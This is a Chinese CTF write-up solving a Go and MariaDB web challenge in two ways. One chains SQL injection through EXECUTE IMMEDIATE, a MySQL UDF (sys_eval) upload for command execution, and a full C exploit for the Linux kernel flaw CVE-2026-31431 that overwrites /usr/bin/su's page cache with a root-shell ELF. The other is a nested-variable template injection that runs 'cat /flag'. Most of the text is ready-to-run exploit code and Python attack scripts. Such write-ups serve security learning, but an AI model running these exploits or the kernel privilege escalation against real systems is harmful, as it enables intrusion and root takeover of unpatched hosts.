Go MySQL
我立个更新内核了 CVE-2026-31431用不了了
只能采用模板注入的方法了
其实这个题两种方法前面都一样
进入发现有两个功能一个是/calc (计算器)和 /draw(抽取幸运数字)
先是calc的sql注入
可以发现是Go + MariaDB
wp的关键是MariaDB 10.11 支持 EXECUTE IMMEDIATE 语句,且该关键字未被过滤
通过该函数可以rce 但权限不够 读取不到flag
接下来就是不同了
CVE-2026-31431
先利用lib_mysqludf_sys_64.so
lib_mysqludf_sys_64.so 是 Metasploit 框架自带的一个 64 位 Linux 共享库文件,
它的核心作用是在 UDF(用户自定义函数)提权技术中,为 MySQL 数据库扩展执行任意系统命令的能力,
从而帮助渗透测试人员提升在目标系统上的权限
UDF 的全称是 User Defined Function,即用户自定义函数。这是 MySQL 数据库提供的一个功能接口,
允许开发者用 C/C++ 编写 MySQL 原生不支持的函数
原理是注入命令执行函数:
将 lib_mysqludf_sys_64.so 文件上传到目标的 MySQL 插件目录后,通过 CREATE FUNCTION 语句将内部的 sys_eval 或 sys_exec 函数注册到 MySQL 中。
执行系统命令:之后,你就可以像调用普通的 MySQL 函数一样,通过 SELECT sys_eval('命令') 来让目标服务器执行系统命令了。
常用的函数有
sys_eval():可以执行任意系统命令,并将命令的输出结果作为字符串返回,方便你查看命令执行的反馈。
sys_exec():同样是执行任意系统命令,但它返回的是命令执行后的退出码(通常 0 表示成功),而不是输出结果。它通常用来在后台静默执行像反弹 Shell 这类操作
也可以算第一步 也是rce的过程 这里发现sql的权限不够 无法读取到flag
然后是CVE-2026-31431
利用 Linux 内核 algif_aead 模块的 authencesn 加密模板中的逻辑
缺陷,通过 splice 系统调用污染 SUID 二进制文件( /usr/bin/su )的 page cache,将其覆
写为一个执行 setuid(0) + execve("/bin/sh") 的 160 字节 ELF,从而获取 root 权限读取
/flag
编译一下
cs
// cf2.c - CVE-2026-31431 (Copy Fail) exploit
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
// setuid(0) + execve("/bin/sh") 的 160 字节 ELF payload
static unsigned char payload[] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x9e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x9e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,
0x31,0xc0,0x31,0xff,0xb0,0x69,0x0f,0x05,
0x48,0x8d,0x3d,0x0f,0x00,0x00,0x00,
0x31,0xf6,0x6a,0x3b,0x58,0x99,0x0f,0x05,
0x31,0xff,0x6a,0x3c,0x58,0x0f,0x05,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00
};
static void w(int fd, int off, unsigned char *d, int dl)
{
int a, o, p[2];
struct sockaddr_alg sa = {
.salg_family = 38,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))"
};
a = socket(38, 5, 0);
if (a < 0) { perror("sock"); exit(1); }
if (bind(a, (void*)&sa, sizeof(sa)) < 0) { perror("bind"); exit(1); }
unsigned char k[40] = {8, 0, 1, 0, 0, 0, 0, 0x10};
setsockopt(a, SOL_ALG, 1, k, 40);
setsockopt(a, SOL_ALG, 5, NULL, 4);
o = accept(a, NULL, 0);
if (o < 0) { perror("acc"); exit(1); }
int sl = off + 4;
unsigned char op[4] = {0}, iv[20] = {0x10}, as[4] = {8};
struct msghdr m = {0};
struct iovec v;
unsigned char b[8] = {'A', 'A', 'A', 'A'};
memcpy(b + 4, d, dl < 4 ? dl : 4);
v.iov_base = b;
v.iov_len = 4 + (dl < 4 ? dl : 4);
char cb[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)] = {0};
m.msg_control = cb;
m.msg_controllen = sizeof(cb);
m.msg_iov = &v;
m.msg_iovlen = 1;
struct cmsghdr *c = CMSG_FIRSTHDR(&m);
c->cmsg_level = SOL_ALG; c->cmsg_type = 3;
c->cmsg_len = CMSG_LEN(4); memcpy(CMSG_DATA(c), op, 4);
c = CMSG_NXTHDR(&m, c);
c->cmsg_level = SOL_ALG; c->cmsg_type = 2;
c->cmsg_len = CMSG_LEN(20); memcpy(CMSG_DATA(c), iv, 20);
c = CMSG_NXTHDR(&m, c);
c->cmsg_level = SOL_ALG; c->cmsg_type = 4;
c->cmsg_len = CMSG_LEN(4); memcpy(CMSG_DATA(c), as, 4);
sendmsg(o, &m, MSG_MORE);
pipe(p);
loff_t so = 0;
splice(fd, &so, p[1], NULL, sl, 0);
splice(p[0], NULL, o, NULL, sl, 0);
char rb[8192];
recv(o, rb, 8 + off, 0);
close(p[0]); close(p[1]); close(o); close(a);
}
int main(void)
{
int fd = open("/usr/bin/su", O_RDONLY);
if (fd < 0) { perror("open"); return 1; }
int pl = sizeof(payload);
fprintf(stderr, "[*] CVE-2026-31431 patching su (%d bytes)\n", pl);
for (int i = 0; i < pl; i += 4)
w(fd, i, payload + i, pl - i < 4 ? pl - i : 4);
close(fd);
fprintf(stderr, "[+] Done. Reading /flag .\n");
system("echo 'cat /flag' | /usr/bin/su");
return 0;
}
脚本
python
import requests
import re
import sys
URL = ''
TIMEOUT = 120
def exec_sql(sql):
"""通过 EXECUTE IMMEDIATE char(...) 绕过所有过滤执行任意SQL"""
chars = ','.join(str(ord(c)) for c in sql)
payload = f'1;execute immediate char({chars})'
r = requests.post(URL, data={'expression': payload}, timeout=TIMEOUT)
return r.text
def run_cmd(cmd):
"""通过 sys_eval UDF 执行系统命令"""
cmd_escaped = cmd.replace("'", "'\"'\"'")
sql = f"SELECT sys_eval('{cmd_escaped}')"
text = exec_sql(sql)
lis = re.findall(r'<li>(.*?)</li>', text)
for li in lis:
m = re.search(r'\[([\d ]+)\]', li)
if m:
nums = m.group(1).split()
return ''.join(chr(int(n)) for n in nums)
return None
# ==================== Phase 1: 建立 UDF RCE ====================
print("[*] Phase 1: 上传 UDF 获取命令执行.\n")
# 读取 Metasploit 的 lib_mysqludf_sys_64.so
udf_path = '/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so'
with open(udf_path, 'rb') as f:
udf_data = f.read()
hex_str = udf_data.hex()
# 写入 UDF .so 到 plugin 目录
sql = f"SELECT UNHEX('{hex_str}') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'"
exec_sql(sql)
# 创建 sys_eval 函数
exec_sql("CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'")
# 验证 RCE
test = run_cmd("id")
print(f" id: {test}")
if not test or 'uid=' not in test:
print("[-] RCE 失败")
sys.exit(1)
print("[+] RCE 建立成功!")
# ==================== Phase 2: 上传提权 exploit ====================
print("[*] Phase 2: 上传 CVE-2026-31431 exploit.\n")
with open('cf2', 'rb') as f:
exp_data = f.read()
hex_str = exp_data.hex()
# 清理旧文件
run_cmd("rm -f /tmp/cf2_exp")
# 通过 DUMPFILE 写入 exploit 二进制
sql = f"SELECT UNHEX('{hex_str}') INTO DUMPFILE '/tmp/cf2_exp'"
exec_sql(sql)
# 设置执行权限
run_cmd("chmod +x /tmp/cf2_exp")
# 验证上传
verify = run_cmd("ls -la /tmp/cf2_exp")
print(f" 上传验证: {verify}")
# ==================== Phase 3: 执行提权获取 flag ====================
print("[*] Phase 3: 执行提权 exploit.\n")
result = run_cmd("/tmp/cf2_exp 2>&1")
print(f" Result: {result}")
# 提取 flag
if 'ACTF{' in result or 'flag{' in result:
flag = re.search(r'(ACTF\{[^}]+\}|flag\{[^}]+\})', result)
if flag:
print(f"\n[+] FLAG: {flag.group(1)}")
else:
print(f" 完整输出: {result}")
模板注入
由于直接写入 run() 会被拦截,脚本利用 嵌套变量引用 将代码拆散:
name = "<<%n1%" → 引用 n1
n1 = "%n2%" → 引用 n2
n2 = "\%n3%" → 引用 n3(\% 是转义写法,传给模板时变成 %n3%)
n3 = "%n4%" → 引用 n4
n4 = "strrot(%" → 给 strrot 函数的开头
</b></h1>
<p class="number">Your number today: <b><\ draw_number(%name
它在页面上注入了一个伪造的 <p> 标签,并通过 draw_number(%name 触发对 %name% 变量的解析,从而启动整条变量链。
strrot(<ROT47编码的cat /flag payload>)
模板引擎执行 strrot() 解码得到 /><\run('cat /flag');unsafe/>,然后 run() 被执行,读取 /flag 文件。
攻击图示
URL 参数 → 模板引擎解析 %name%
→ 链式展开: %n1% → %n2% → %n3% → %n4%
→ 拼接为: strrot( <rotated_payload> )
→ ROT47 解码 → run('cat /flag')
→ 获取 flag
脚本
python
import urllib.parse
def strrot(s):
"""ROT47 编码/解码"""
return ''.join(chr(33 + ((ord(c)-33+47)%94)) if 33<=ord(c)<=126 else c for c in s)
# 编码命令
encoded = strrot("/><\\run('cat /flag');unsafe/>")
# 解码用同一个函数(ROT47 是对称的)
decoded = strrot(encoded)
def gen_url(target_base, command="cat /flag"):
unsafe = f"/><\\run('{command}');unsafe/>"
rotated = strrot(unsafe)
vars_payload = {
"name": "<<%n1%",
"n1": "%n2%",
"n2": r"\\%n3%",
"n3": "%n4%",
"n4": "strrot(%",
' </b></h1>\n <p class="number">Your number today: <b><\\ draw_number(%name': rotated,
}
pairs = [(urllib.parse.quote(k, safe=''), urllib.parse.quote(v, safe=''))
for k, v in vars_payload.items()]
return target_base + "draw?" + "&".join(f"{k}={v}" for k, v in pairs)
if __name__ == "__main__":
print(gen_url("http://web-9982fbe014.adworld.xctf.org.cn/"))
模板引擎遇到 %name% 时,不是一次性展开,而是分层解析:
第1轮: %name% → <<%n1% (n1 还是变量引用,触发下一轮)
第2轮: %n1% → %n2% (n2 还是变量引用,继续)
第3轮: %n2% → \%n3% (关键!\ 转义了 %,%n3% 变成字面量文本)
第4轮: 现在字符串是 <<\%n3%,引擎再次扫描 → 发现 %n3% → %n4%
第5轮: %n4% → strrot(%
n2 = "\\%n3%" ≠ n2 = "%n3%"
如果 n2 没有 \\:
%name% → %n1% → %n2% → %n3% → %n4% → strrot(%
↑ 一次性全展开了,得到扁平的 "strrot(%"
引擎不会把它当函数来调用,只是一段文本
\\ 的作用就是打断一次性展开------让 %n3% 在这一轮被转义为字面量 %n3%,下一轮才被解析。这样每轮的结果是新模板代码而非纯文本,引擎会重新解析新代码,从而触发函数调用。
<< 在这里是 "重新解析" 的标志